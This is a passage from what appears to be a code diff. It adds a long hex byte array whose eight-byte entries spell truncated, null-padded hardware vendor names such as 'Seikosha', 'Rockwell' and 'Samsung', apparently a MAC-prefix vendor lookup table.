0x69, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x2d, 0x4d, 0x61, +0x44, 0x6f, 0x76, 0x65, 0x46, 0x61, 0x73, 0x74, +0x53, 0x65, 0x69, 0x6b, 0x6f, 0x73, 0x68, 0x61, +0x4d, 0x63, 0x64, 0x6f, 0x6e, 0x6e, 0x65, 0x6c, +0x53, 0x69, 0x69, 0x67, 0x00, 0x00, 0x00, 0x00, +0x54, 0x72, 0x69, 0x2d, 0x44, 0x61, 0x74, 0x61, +0x52, 0x6f, 0x63, 0x6b, 0x77, 0x65, 0x6c, 0x6c, +0x4d, 0x69, 0x74, 0x73, 0x75, 0x62, 0x69, 0x73, +0x4e, 0x74, 0x69, 0x47, 0x72, 0x6f, 0x75, 0x70, +0x53, 0x79, 0x6d, 0x6d, 0x65, 0x74, 0x72, 0x69, +0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x6e, 0x44, +0x4d, 0x61, 0x64, 0x67, 0x65, 0x00, 0x00, 0x00, +0x48, 0x61, 0x72, 0x72, 0x69, 0x73, 0x43, 0x6f, +0x57, 0x61, 0x74, 0x65, 0x72, 0x73, 0x44, 0x69, +0x41, 0x72, 0x72, 0x69, 0x73, 0x47, 0x72, 0x6f, +0x48, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, +0x41, 0x72, 0x69, 0x78, 0x00, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x74, 0x6f, 0x73, 0x00, 0x00, 0x00, +0x45, 0x6d, 0x75, 0x6c, 0x65, 0x78, 0x54, 0x65, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x2d, 0x53, 0x68, +0x44, 0x65, 0x6e, 0x73, 0x61, 0x6e, 0x00, 0x00, +0x41, 0x6c, 0x6c, 0x69, 0x65, 0x64, 0x54, 0x65, +0x4d, 0x65, 0x67, 0x61, 0x64, 0x61, 0x74, 0x61, +0x48, 0x61, 0x79, 0x65, 0x73, 0x4d, 0x69, 0x63, +0x44, 0x65, 0x76, 0x65, 0x6c, 0x63, 0x6f, 0x6e, +0x41, 0x64, 0x61, 0x70, 0x74, 0x65, 0x63, 0x00, +0x53, 0x62, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x57, 0x61, 0x6e, 0x67, 0x4c, 0x61, 0x62, 0x73, +0x50, 0x75, 0x72, 0x65, 0x64, 0x61, 0x74, 0x61, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x67, 0x6e, 0x6f, +0x50, 0x75, 0x6e, 0x63, 0x68, 0x4c, 0x69, 0x6e, +0x44, 0x61, 0x72, 0x74, 0x6d, 0x6f, 0x75, 0x74, +0x4f, 0x6c, 0x64, 0x4e, 0x6f, 0x76, 0x65, 0x6c, +0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x54, 0x65, +0x41, 0x74, 0x65, 0x78, 0x00, 0x00, 0x00, 0x00, +0x42, 0x72, 0x69, 0x74, 0x69, 0x73, 0x68, 0x54, +0x54, 0x63, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x65, 0x74, 0x69, 0x61, 0x00, 0x00, 0x00, +0x42, 0x65, 0x6c, 0x6c, 0x48, 0x6f, 0x77, 0x65, +0x51, 0x75, 0x61, 0x64, 0x72, 0x61, 0x6d, 0x00, +0x47, 0x72, 0x69, 0x64, 0x00, 0x00, 0x00, 0x00, +0x41, 0x63, 0x65, 0x72, 0x43, 0x6f, 0x75, 0x6e, +0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x61, 0x74, +0x49, 0x6e, 0x32, 0x47, 0x72, 0x6f, 0x75, 0x70, +0x53, 0x69, 0x67, 0x6d, 0x65, 0x78, 0x00, 0x00, +0x41, 0x70, 0x74, 0x6f, 0x72, 0x50, 0x72, 0x6f, +0x53, 0x74, 0x61, 0x72, 0x47, 0x61, 0x74, 0x65, +0x41, 0x63, 0x63, 0x74, 0x6f, 0x6e, 0x54, 0x65, +0x49, 0x73, 0x69, 0x63, 0x61, 0x64, 0x00, 0x00, +0x55, 0x70, 0x6e, 0x6f, 0x64, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x74, 0x73, 0x75, 0x73, 0x68, 0x69, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x70, 0x72, 0x6f, +0x41, 0x70, 0x72, 0x69, 0x6c, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x44, +0x4b, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x61, 0x6d, 0x73, 0x75, 0x6e, 0x67, 0x00, +0x4d, 0x61, 0x67, 0x6e, 0x61, 0x43, 0x6f, 0x6d, +0x53, 0x70, 0x69, 0x64, 0x65, 0x72, 0x43, 0x6f, +0x47, 0x61, 0x6e, 0x64, 0x61, 0x6c, 0x66, 0x44, +0x44, 0x69, 0x61, 0x6d, 0x6f, 0x6e, 0x64, 0x53, +0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x4d, +0x59, 0x6f, 0x75, 0x74, 0x68, 0x4b, 0x65, 0x65, +0x44, 0x65, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x51, 0x75, 0x6f, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x61, 0x67, +0x52, 0x65, 0x63, 0x68, 0x6e, 0x65, 0x72, 0x5a, +0x4d, 0x65, 0x69, 0x6b, 0x6f, 0x00, 0x00, 0x00, +0x48, 0x69, 0x67, 0x68, 0x4c, 0x65, 0x76, 0x65, +0x41, 0x6e, 0x6e, 0x61, 0x70, 0x6f, 0x6c, 0x69, +0x43, 0x61, 0x6d, 0x74, 0x65, 0x63, 0x45, 0x6c, +0x45, 0x71, 0x75, 0x69, 0x70, 0x54, 0x72, 0x61, +0x33, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, 0x00, +0x44, 0x76, 0x69, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x42, 0x65, 0x63, 0x6b, 0x68, 0x6f, 0x66, 0x66, +0x54, 0x65, 0x77, 0x73, 0x44, 0x61, 0x74, 0x65, +0x4c, 0x65, 0x69, 0x73, 0x65, 0x72, 0x00, 0x00, +0x41, 0x76, 0x6c, 0x61, 0x62, 0x54, 0x65, 0x63, +0x4e, 0x61, 0x67, 0x61, 0x6e, 0x6f, 0x4a, 0x61, +0x43, 0x69, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x53, 0x70, 0x61, 0x63, 0x65, 0x43, 0x79, 0x62, +0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x54, 0x61, +0x54, 0x65, 0x6c, 0x65, 0x64, 0x79, 0x6e, 0x65, +0x42, 0x72, 0x69, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, +0x47, 0x6f, 0x74, 0x68, 0x61, 0x6d, 0x4e, 0x65, +0x49, 0x64, 0x69, 0x67, 0x6d, 0x00, 0x00, 0x00, +0x53, 0x68, 0x61, 0x72, 0x6b, 0x4d, 0x75, 0x6c, +0x4f, 0x6c, 0x79, 0x6d, 0x70, 0x75, 0x73, 0x00, +0x4b, 0x61, 0x6e, 0x64, 0x61, 0x54, 0x73, 0x75, +0x45, 0x78, 0x74, 0x72, 0x61, 0x74, 0x65, 0x63, +0x4e, 0x65, 0x74, 0x73, 0x70, 0x65, 0x63, 0x74, +0x43, 0x61, 0x6e, 0x61, 0x6c, 0x2b, 0x00, 0x00, +0x45, 0x7a, 0x44, 0x69, 0x67, 0x69, 0x74, 0x61, +0x52, 0x74, 0x75, 0x6e, 0x65, 0x74, 0x41, 0x75, +0x48, 0x6f, 0x66, 0x66, 0x6d, 0x61, 0x6e, 0x6e, +0x55, 0x6e, 0x69, 0x7a, 0x6f, 0x6e, 0x65, 0x54, +0x55, 0x6e, 0x69, 0x76, 0x65, 0x72, 0x73, 0x61, +0x43, 0x65, 0x6e, 0x74, 0x69, 0x6c, 0x6c, 0x69, +0x50, 0x72, 0x65, 0x63, 0x69, 0x64, 0x69, 0x61, +0x52, 0x63, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, +0x4f, 0x73, 0x63, 0x69, 0x6c, 0x6c, 0x6f, 0x71, +0x57, 0x61, 0x74, 0x63, 0x68, 0x67, 0x75, 0x61, +0x54, 0x72, 0x65, 0x6e, 0x64, 0x43, 0x6f, 0x6d, +0x41, 0x63, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, +0x59, 0x61, 0x65, 0x73, 0x75, 0x4d, 0x75, 0x73, +0x50, 0x61, 0x63, 0x4c, 0x61, 0x62, 0x73, 0x00, +0x4f, 0x70, 0x65, 0x6e, 0x4e, 0x65, 0x74, 0x77, +0x45, 0x6e, 0x6a, 0x6f, 0x79, 0x77, 0x65, 0x62, +0x44, 0x66, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x6e, 0x65, 0x74, 0x00, +0x41, 0x72, 0x61, 0x76, 0x6f, 0x78, 0x54, 0x65, +0x4b, 0x6f, 0x6d, 0x6f, 0x64, 0x6f, 0x54, 0x65, +0x50, 0x63, 0x50, 0x61, 0x72, 0x74, 0x6e, 0x65, +0x54, 0x77, 0x69, 0x6e, 0x68, 0x65, 0x61, 0x64, +0x45, 0x78, 0x74, 0x72, 0x65, 0x6d, 0x65, 0x4e, +0x42, 0x6f, 0x73, 0x63, 0x68, 0x53, 0x65, 0x63, +0x44, 0x72, 0x61, 0x6e, 0x65, 0x74, 0x7a, 0x2d, +0x4b, 0x79, 0x6f, 0x77, 0x61, 0x45, 0x6c, 0x65, +0x53, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, +0x4b, 0x64, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x79, 0x62, 0x65, 0x72, 0x74, 0x61, 0x6e, +0x49, 0x74, 0x46, 0x61, 0x72, 0x6d, 0x00, 0x00, +0x58, 0x61, 0x76, 0x69, 0x54, 0x65, 0x63, 0x68, +0x50, 0x6f, 0x69, 0x6e, 0x74, 0x4d, 0x75, 0x6c, +0x53, 0x68, 0x65, 0x6c, 0x63, 0x61, 0x64, 0x43, +0x42, 0x6e, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x69, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x69, 0x73, 0x63, 0x73, 0x74, 0x61, 0x74, +0x41, 0x73, 0x63, 0x6f, 0x6d, 0x54, 0x61, 0x74, +0x4e, 0x65, 0x69, 0x67, 0x68, 0x62, 0x6f, 0x72, +0x53, 0x65, 0x6e, 0x64, 0x74, 0x65, 0x6b, 0x00, +0x43, 0x61, 0x62, 0x6c, 0x65, 0x50, 0x72, 0x69, +0x49, 0x65, 0x65, 0x65, 0x38, 0x30, 0x32, 0x00, +0x57, 0x69, 0x6e, 0x73, 0x79, 0x73, 0x74, 0x65, +0x54, 0x65, 0x73, 0x63, 0x6f, 0x43, 0x6f, 0x6e, +0x5a, 0x68, 0x6f, 0x6e, 0x65, 0x54, 0x65, 0x63, +0x58, 0x2d, 0x54, 0x72, 0x61, 0x77, 0x65, 0x62, +0x54, 0x64, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x6f, 0x6e, 0x79, 0x00, 0x00, 0x00, 0x00, +0x45, 0x6e, 0x6e, 0x6f, 0x76, 0x61, 0x74, 0x65, +0x42, 0x65, 0x72, 0x6b, 0x65, 0x6c, 0x65, 0x79, +0x53, 0x68, 0x69, 0x6e, 0x4b, 0x69, 0x6e, 0x45, +0x57, 0x69, 0x6e, 0x45, 0x6e, 0x74, 0x65, 0x72, +0x41, 0x64, 0x74, 0x72, 0x61, 0x6e, 0x00, 0x00, +0x47, 0x69, 0x6c, 0x61, 0x74, 0x43, 0x6f, 0x6d, +0x45, 0x6e, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x65, +0x43, 0x68, 0x72, 0x6f, 0x6d, 0x61, 0x74, 0x65, +0x41, 0x72, 0x63, 0x68, 0x74, 0x65, 0x6b, 0x54, +0x47, 0x33, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x6d, 0x69, 0x73, 0x65, 0x54, +0x46, 0x69, 0x72, 0x65, 0x77, 0x69, 0x72, 0x65, +0x53, 0x79, 0x73, 0x77, 0x61, 0x76, 0x65, 0x00, +0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x49, +0x53, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x56, +0x49, 0x74, 0x61, 0x6c, 0x74, 0x65, 0x6c, 0x53, +0x43, 0x61, 0x64, 0x61, 0x6e, 0x74, 0x00, 0x00, +0x42, 0x65, 0x73, 0x74, 0x54, 0x65, 0x63, 0x68, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x44, +0x45, 0x6c, 0x6d, 0x65, 0x78, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x74, 0x61, 0x4d, 0x61, 0x63, 0x68, +0x43, 0x79, 0x67, 0x6e, 0x65, 0x74, 0x54, 0x65, +0x4e, 0x64, 0x63, 0x4e, 0x61, 0x74, 0x69, 0x6f, +0x41, 0x69, 0x72, 0x73, 0x77, 0x69, 0x74, 0x63, +0x54, 0x63, 0x47, 0x72, 0x6f, 0x75, 0x70, 0x00, +0x48, 0x69, 0x6f, 0x6b, 0x69, 0x45, 0x45, 0x00, +0x56, 0x69, 0x74, 0x61, 0x6e, 0x61, 0x00, 0x00, +0x43, 0x65, 0x6c, 0x65, 0x73, 0x74, 0x69, 0x78, +0x41, 0x6c, 0x69, 0x74, 0x65, 0x63, 0x00, 0x00, +0x4c, 0x69, 0x67, 0x68, 0x74, 0x63, 0x68, 0x69, +0x46, 0x6f, 0x78, 0x63, 0x6f, 0x6e, 0x6e, 0x00, +0x43, 0x61, 0x72, 0x72, 0x69, 0x65, 0x72, 0x63, +0x43, 0x6f, 0x6e, 0x6b, 0x6c, 0x69, 0x6e, 0x00, +0x49, 0x6e, 0x6b, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x45, 0x73, 0x65, 0x45, 0x6d, 0x62, 0x65, 0x64, +0x41, 0x6c, 0x6c, 0x69, 0x65, 0x64, 0x44, 0x61, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x6c, 0x61, +0x41, 0x6d, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00, +0x43, 0x79, 0x62, 0x65, 0x72, 0x6f, 0x70, 0x74, +0x52, 0x61, 0x64, 0x69, 0x61, 0x6e, 0x74, 0x43, +0x4f, 0x72, 0x69, 0x65, 0x6e, 0x74, 0x53, 0x69, +0x45, 0x64, 0x73, 0x6c, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x72, 0x67, 0x69, 0x00, 0x00, 0x00, +0x57, 0x69, 0x72, 0x65, 0x6c, 0x65, 0x73, 0x73, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x4d, +0x48, 0x65, 0x69, 0x64, 0x65, 0x6c, 0x62, 0x65, +0x41, 0x67, 0x2d, 0x45, 0x00, 0x00, 0x00, 0x00, +0x54, 0x68, 0x65, 0x72, 0x6d, 0x6f, 0x71, 0x75, +0x41, 0x64, 0x74, 0x65, 0x6b, 0x53, 0x79, 0x73, +0x45, 0x78, 0x70, 0x65, 0x72, 0x69, 0x65, 0x6e, +0x41, 0x6f, 0x70, 0x65, 0x6e, 0x00, 0x00, 0x00, +0x4e, 0x6f, 0x72, 0x74, 0x65, 0x6c, 0x4e, 0x65, +0x44, 0x69, 0x63, 0x61, 0x54, 0x65, 0x63, 0x68, +0x41, 0x6e, 0x69, 0x74, 0x65, 0x54, 0x65, 0x6c, +0x53, 0x69, 0x65, 0x62, 0x4d, 0x65, 0x79, 0x65, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x41, +0x55, 0x77, 0x65, 0x44, 0x69, 0x73, 0x63, 0x68, +0x49, 0x32, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x78, 0x63, 0x6f, 0x54, 0x65, 0x63, 0x68, +0x52, 0x65, 0x66, 0x72, 0x61, 0x63, 0x74, 0x69, +0x52, 0x6f, 0x69, 0x43, 0x6f, 0x6d, 0x70, 0x75, +0x4e, 0x65, 0x74, 0x6c, 0x69, 0x6e, 0x6b, 0x73, +0x4d, 0x65, 0x67, 0x61, 0x56, 0x69, 0x73, 0x69, +0x41, 0x75, 0x64, 0x65, 0x73, 0x69, 0x54, 0x65, +0x4c, 0x6f, 0x67, 0x69, 0x74, 0x65, 0x63, 0x00, +0x4b, 0x65, 0x6e, 0x65, 0x74, 0x65, 0x63, 0x00, +0x53, 0x6d, 0x6b, 0x2d, 0x4d, 0x00, 0x00, 0x00, +0x53, 0x79, 0x72, 0x65, 0x64, 0x44, 0x61, 0x74, +0x54, 0x65, 0x78, 0x61, 0x73, 0x44, 0x69, 0x67, +0x48, 0x61, 0x6e, 0x62, 0x79, 0x75, 0x6c, 0x54, +0x43, 0x61, 0x70, 0x69, 0x74, 0x61, 0x6c, 0x45, +0x53, 0x65, 0x6e, 0x61, 0x54, 0x65, 0x63, 0x68, +0x44, 0x61, 0x72, 0x69, 0x6d, 0x56, 0x69, 0x73, +0x48, 0x65, 0x69, 0x73, 0x65, 0x69, 0x45, 0x6c, +0x4c, 0x65, 0x75, 0x6e, 0x69, 0x67, 0x00, 0x00, +0x4b, 0x79, 0x6f, 0x74, 0x6f, 0x4d, 0x69, 0x63, +0x4a, 0x64, 0x73, 0x55, 0x6e, 0x69, 0x70, 0x68, +0x45, 0x2d, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, +0x45, 0x73, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x52, 0x65, 0x61, 0x64, 0x79, 0x6e, 0x65, 0x74, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x6c, 0x69, +0x4d, 0x61, 0x67, 0x2d, 0x54, 0x65, 0x6b, 0x00, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x61, 0x6c, 0x00, +0x47, 0x65, 0x6e, 0x65, 0x73, 0x79, 0x73, 0x4c, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6c, 0x69, 0x6e, +0x4e, 0x65, 0x78, 0x74, 0x63, 0x6f, 0x6d, 0x6d, +0x53, 0x63, 0x69, 0x65, 0x6e, 0x74, 0x69, 0x66, +0x55, 0x6e, 0x65, 0x78, 0x54, 0x65, 0x63, 0x68, +0x57, 0x65, 0x6c, 0x6c, 0x74, 0x65, 0x63, 0x68, +0x42, 0x6d, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x69, 0x72, 0x73, 0x70, 0x61, 0x6e, 0x43, +0x4d, 0x61, 0x69, 0x6e, 0x53, 0x74, 0x72, 0x65, +0x53, 0x69, 0x74, 0x61, 0x72, 0x61, 0x4e, 0x65, +0x43, 0x6f, 0x61, 0x63, 0x68, 0x4d, 0x61, 0x73, +0x54, 0x72, 0x65, 0x78, 0x45, 0x6e, 0x74, 0x65, +0x41, 0x72, 0x74, 0x65, 0x73, 0x79, 0x6e, 0x45, +0x46, 0x75, 0x6c, 0x6c, 0x74, 0x65, 0x6b, 0x54, +0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x42, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x50, +0x50, 0x72, 0x65, 0x63, 0x69, 0x73, 0x69, 0x6f, +0x57, 0x61, 0x79, 0x70, 0x6f, 0x72, 0x74, 0x00, +0x54, 0x75, 0x72, 0x69, 0x6e, 0x4e, 0x65, 0x74, +0x53, 0x61, 0x65, 0x6a, 0x69, 0x6e, 0x54, 0x26, +0x43, 0x65, 0x6e, 0x74, 0x6f, 0x73, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x73, 0x65, 0x6e, 0x73, 0x69, +0x53, 0x6b, 0x66, 0x55, 0x4b, 0x00, 0x00, 0x00, +0x49, 0x63, 0x2d, 0x4e, 0x65, 0x74, 0x00, 0x00, +0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x74, +0x42, 0x72, 0x61, 0x69, 0x6e, 0x73, 0x00, 0x00, +0x50, 0x65, 0x74, 0x65, 0x72, 0x73, 0x6f, 0x6e, +0x47, 0x69, 0x67, 0x61, 0x6c, 0x69, 0x6e, 0x6b, +0x54, 0x65, 0x6c, 0x65, 0x66, 0x6f, 0x72, 0x63, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x6c, 0x61, 0x62, +0x56, 0x69, 0x74, 0x65, 0x73, 0x73, 0x65, 0x53, +0x41, 0x72, 0x6b, 0x52, 0x65, 0x73, 0x65, 0x61, +0x41, 0x63, 0x72, 0x6f, 0x6d, 0x61, 0x67, 0x00, +0x4e, 0x65, 0x6f, 0x77, 0x61, 0x76, 0x65, 0x00, +0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x72, 0x4e, +0x51, 0x75, 0x61, 0x72, 0x72, 0x79, 0x54, 0x65, +0x54, 0x68, 0x6f, 0x6d, 0x61, 0x73, 0x43, 0x6f, +0x47, 0x65, 0x6f, 0x63, 0x61, 0x73, 0x74, 0x4e, +0x45, 0x76, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x54, 0x6f, 0x74, +0x41, 0x72, 0x74, 0x65, 0x6d, 0x00, 0x00, 0x00, +0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x4d, 0x69, +0x41, 0x6c, 0x70, 0x68, 0x61, 0x44, 0x61, 0x74, +0x56, 0x69, 0x74, 0x61, 0x6c, 0x70, 0x6f, 0x69, +0x43, 0x6f, 0x6e, 0x65, 0x74, 0x43, 0x6f, 0x6d, +0x49, 0x6e, 0x78, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x50, 0x61, 0x78, 0x63, 0x6f, 0x6d, 0x6d, 0x00, +0x4c, 0x65, 0x69, 0x73, 0x75, 0x72, 0x65, 0x54, +0x48, 0x61, 0x65, 0x64, 0x6f, 0x6e, 0x67, 0x49, +0x4d, 0x61, 0x6e, 0x72, 0x6f, 0x6c, 0x61, 0x6e, +0x46, 0x35, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, +0x54, 0x65, 0x6c, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x53, 0x69, 0x67, 0x6d, 0x61, 0x00, 0x00, 0x00, +0x57, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x6d, 0x00, +0x46, 0x72, 0x65, 0x65, 0x63, 0x6f, 0x6d, 0x54, +0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x74, 0x65, +0x41, 0x76, 0x61, 0x69, 0x6c, 0x4e, 0x65, 0x74, +0x54, 0x72, 0x61, 0x6e, 0x67, 0x6f, 0x00, 0x00, +0x49, 0x73, 0x64, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, +0x46, 0x61, 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x69, 0x6e, 0x70, 0x6f, 0x45, 0x6c, 0x65, +0x41, 0x6e, 0x64, 0x6f, 0x45, 0x6c, 0x65, 0x63, +0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x00, +0x53, 0x69, 0x74, 0x65, 0x72, 0x61, 0x00, 0x00, +0x48, 0x65, 0x77, 0x6c, 0x65, 0x74, 0x74, 0x50, +0x46, 0x6f, 0x72, 0x63, 0x65, 0x31, 0x30, 0x4e, +0x4c, 0x69, 0x74, 0x74, 0x6f, 0x6e, 0x4d, 0x61, +0x43, 0x69, 0x72, 0x69, 0x6c, 0x69, 0x75, 0x6d, +0x43, 0x2d, 0x43, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x45, 0x72, 0x69, 0x63, 0x73, 0x73, 0x6f, 0x6e, +0x53, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x74, 0x72, 0x6f, 0x6c, 0x45, +0x43, 0x61, 0x6d, 0x74, 0x65, 0x6c, 0x54, 0x65, +0x54, 0x72, 0x69, 0x64, 0x69, 0x75, 0x6d, 0x00, +0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, 0x74, 0x69, +0x4d, 0x61, 0x72, 0x6b, 0x4f, 0x66, 0x55, 0x6e, +0x51, 0x70, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x73, 0x79, +0x45, 0x72, 0x69, 0x6d, 0x53, 0x41, 0x00, 0x00, +0x41, 0x73, 0x73, 0x6f, 0x63, 0x69, 0x61, 0x74, +0x49, 0x6d, 0x61, 0x67, 0x65, 0x44, 0x69, 0x73, +0x54, 0x65, 0x78, 0x69, 0x6f, 0x54, 0x65, 0x63, +0x54, 0x65, 0x72, 0x61, 0x67, 0x6c, 0x6f, 0x62, +0x48, 0x6f, 0x72, 0x6f, 0x73, 0x63, 0x61, 0x73, +0x44, 0x6f, 0x74, 0x6f, 0x70, 0x54, 0x65, 0x63, +0x4b, 0x65, 0x79, 0x65, 0x6e, 0x63, 0x65, 0x00, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x45, +0x44, 0x61, 0x74, 0x61, 0x44, 0x69, 0x72, 0x65, +0x49, 0x66, 0x6d, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x41, 0x6d, 0x69, 0x6e, 0x6f, 0x43, 0x6f, 0x6d, +0x57, 0x6f, 0x6f, 0x6e, 0x73, 0x61, 0x6e, 0x67, +0x42, 0x6f, 0x64, 0x6d, 0x61, 0x6e, 0x6e, 0x49, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x44, +0x54, 0x65, 0x6c, 0x69, 0x74, 0x61, 0x6c, 0x52, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x67, 0x6c, +0x55, 0x6e, 0x69, 0x66, 0x79, 0x4e, 0x65, 0x74, +0x53, 0x68, 0x65, 0x6e, 0x7a, 0x68, 0x65, 0x6e, +0x47, 0x65, 0x66, 0x72, 0x61, 0x6e, 0x00, 0x00, +0x4e, 0x61, 0x74, 0x69, 0x76, 0x65, 0x4e, 0x65, +0x4d, 0x65, 0x74, 0x72, 0x6f, 0x2d, 0x4f, 0x70, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6e, 0x70, 0x63, +0x45, 0x63, 0x69, 0x54, 0x65, 0x6c, 0x65, 0x63, +0x41, 0x61, 0x74, 0x72, 0x00, 0x00, 0x00, 0x00, +0x46, 0x65, 0x6e, 0x65, 0x63, 0x6f, 0x6d, 0x00, +0x4e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x57, 0x6f, +0x53, 0x69, 0x65, 0x72, 0x72, 0x61, 0x63, 0x6f, +0x53, 0x44, 0x45, 0x4c, 0x00, 0x00, 0x00, 0x00, +0x44, 0x74, 0x76, 0x72, 0x6f, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x74, 0x61, 0x73, 0x43, 0x6f, 0x6d, +0x45, 0x73, 0x69, 0x45, 0x78, 0x74, 0x65, 0x6e, +0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x64, +0x50, 0x61, 0x72, 0x61, 0x6c, 0x6f, 0x6e, 0x54, +0x5a, 0x75, 0x6d, 0x61, 0x4e, 0x65, 0x74, 0x77, +0x4b, 0x6f, 0x6c, 0x6c, 0x6d, 0x6f, 0x72, 0x67, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x45, +0x44, 0x61, 0x74, 0x61, 0x47, 0x65, 0x6e, 0x65, +0x53, 0x69, 0x6d, 0x74, 0x65, 0x6c, 0x53, 0x52, +0x41, 0x63, 0x75, 0x6c, 0x61, 0x62, 0x00, 0x00, +0x43, 0x61, 0x6e, 0x6f, 0x6e, 0x46, 0x69, 0x6e, +0x44, 0x73, 0x70, 0x41, 0x70, 0x70, 0x6c, 0x69, +0x43, 0x68, 0x72, 0x6f, 0x6d, 0x69, 0x73, 0x79, +0x43, 0x6c, 0x69, 0x63, 0x6b, 0x74, 0x76, 0x00, +0x43, 0x2d, 0x43, 0x6f, 0x72, 0x00, 0x00, 0x00, +0x4f, 0x6e, 0x65, 0x53, 0x74, 0x6f, 0x70, 0x00, +0x58, 0x65, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, +0x45, 0x73, 0x64, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x4e, 0x65, 0x63, 0x73, 0x6f, 0x6d, 0x00, 0x00, +0x41, 0x64, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, +0x41, 0x73, 0x6f, 0x75, 0x6e, 0x64, 0x45, 0x6c, +0x53, 0x61, 0x78, 0x61, 0x00, 0x00, 0x00, 0x00, +0x41, 0x62, 0x62, 0x42, 0x6f, 0x6d, 0x65, 0x6d, +0x41, 0x67, 0x65, 0x72, 0x65, 0x00, 0x00, 0x00, +0x54, 0x65, 0x61, 0x63, 0x52, 0x26, 0x44, 0x00, +0x50, 0x2d, 0x43, 0x75, 0x62, 0x65, 0x00, 0x00, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x73, 0x6f, 0x66, +0x49, 0x6e, 0x67, 0x65, 0x72, 0x73, 0x6f, 0x6c, +0x41, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 